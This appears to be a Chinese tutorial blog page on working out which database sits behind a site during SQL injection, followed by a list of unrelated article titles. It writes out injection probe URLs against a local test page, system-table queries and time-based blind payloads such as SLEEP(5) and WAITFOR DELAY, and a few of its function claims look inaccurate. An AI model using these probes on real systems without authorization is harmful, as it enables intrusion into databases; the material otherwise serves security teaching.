当前位置: 首页 > news >正文

SQL注入如何判断数据库类型

前言

在进行SQL注入之前,首先应该判断数据库的类型,不同的数据库在处理一些函数的时候会有一些微妙的差别,只有判断出是哪种数据库类型,这样才能根据数据库的类型选择合适的函数,更容易实现SQL注入。

# 前端与数据库类型

asp:SQL Server,Access.net:SQL Serverphp:MySQL,PostgreSQLjava:Oracle,MySQL

# 根据端口判断

Oracle:默认端口 1521SQL Server:默认端口 1433MySQL:默认端口 3306

# 根据数据库特有函数来判断

# len和length

len():SQL Server 、MySQL以及db2返回长度的函数。length():Oracle和INFORMIX返回长度的函数。

# version和@@version

version():MySQL查询版本信息的函数@@version:MySQL和SQL Server查询版本信息的函数

# substring和substr

MySQL两个函数都可以使用Oracle只可调用substrSQL Server只可调用substring

# 根据特殊符号进行判断

/* 是MySQL数据库的注释符-- 是Oracle和SQL Server支持的注释符;  是子句查询标识符,Oracle不支持多行查询,若返回错误,则说明可能是Oracle数据库#  是MySQL中的注释符,返回错误则说明可能不是MySQL,另外也支持-- 和/**/

# 根据数据库对字符串的处理方式判断

# MySQL

http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab' http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab'

# Oracle

http://127.0.0.1/test.php?id=1 and 'a'||'b'='ab'http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab' 

# SQL Server

http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab' 

# 根据数据库特有的数据表来判断

# MySQL(version>5.0)

http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1

# Oracle

http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1

# SQL Server

http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1

# 根据盲注特别函数判断

# MySQL

BENCHMARK(1000000,ENCODE('QWE','ASD'))SLEEP(5)

# PostgreSQL

PG_SLEEP(5)GENERATE_SERIES(1,1000000)

# SQL Server

WAITFOR DELAY '0:0:5'

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • JVM专题之G1垃圾收集器下
  • python学习-容器类型
  • Redis 7.x 系列【22】主从复制配置项
  • 创建数据库表的语法定义包含了SQL Server、Mysql、PostgreSQL、SQLite的示例
  • zabbix 学习笔记
  • 基础架构服务API:降低成本,提升业务效益
  • DropNotch for Mac v1.0.1 在 Mac 刘海快速使用 AirDrop
  • 华为机考真题 -- 攀登者1
  • 深入浅出Transformer:大语言模型的核心技术
  • uniapp移动端实现商品拖拽集合,一行多个商品左滑删除功能!
  • python破解密码·筛查和选择
  • 《财经态度》︱行业领跑品牌格行创始人刘永先独家揭秘:格行随身WiFi如何抗内卷,成就品质与服务双重骄傲?随身WiFi推荐第一名!
  • FFmpeg 实现从麦克风获取流并通过RTMP推流
  • 递归(五)—— 初识暴力递归之“如何利用递归实现栈逆序”
  • 【React】Ant Design -- Table分页功能实现
  • [译] 理解数组在 PHP 内部的实现(给PHP开发者的PHP源码-第四部分)
  • 【MySQL经典案例分析】 Waiting for table metadata lock
  • el-input获取焦点 input输入框为空时高亮 el-input值非法时
  • ES6简单总结(搭配简单的讲解和小案例)
  • idea + plantuml 画流程图
  • iOS帅气加载动画、通知视图、红包助手、引导页、导航栏、朋友圈、小游戏等效果源码...
  • js中forEach回调同异步问题
  • MySQL Access denied for user 'root'@'localhost' 解决方法
  • MySQL常见的两种存储引擎:MyISAM与InnoDB的爱恨情仇
  • PHP 使用 Swoole - TaskWorker 实现异步操作 Mysql
  • php的插入排序,通过双层for循环
  • React16时代,该用什么姿势写 React ?
  • React中的“虫洞”——Context
  • sessionStorage和localStorage
  • 从地狱到天堂,Node 回调向 async/await 转变
  • 大快搜索数据爬虫技术实例安装教学篇
  • 给第三方使用接口的 URL 签名实现
  • 前端技术周刊 2019-02-11 Serverless
  • 时间复杂度与空间复杂度分析
  • 原生Ajax
  • 转载:[译] 内容加速黑科技趣谈
  • ​ 轻量应用服务器:亚马逊云科技打造全球领先的云计算解决方案
  • ​虚拟化系列介绍(十)
  • # 睡眠3秒_床上这样睡觉的人,睡眠质量多半不好
  • ###STL(标准模板库)
  • #Datawhale AI夏令营第4期#AIGC文生图方向复盘
  • (06)Hive——正则表达式
  • (14)Hive调优——合并小文件
  • (2)(2.10) LTM telemetry
  • (2)MFC+openGL单文档框架glFrame
  • (Java岗)秋招打卡!一本学历拿下美团、阿里、快手、米哈游offer
  • (二十五)admin-boot项目之集成消息队列Rabbitmq
  • (附源码)基于SSM多源异构数据关联技术构建智能校园-计算机毕设 64366
  • (论文阅读11/100)Fast R-CNN
  • (转)从零实现3D图像引擎:(8)参数化直线与3D平面函数库
  • (转)项目管理杂谈-我所期望的新人
  • * 论文笔记 【Wide Deep Learning for Recommender Systems】
  • .DFS.
  • .md即markdown文件的基本常用编写语法
  • .NET Micro Framework初体验(二)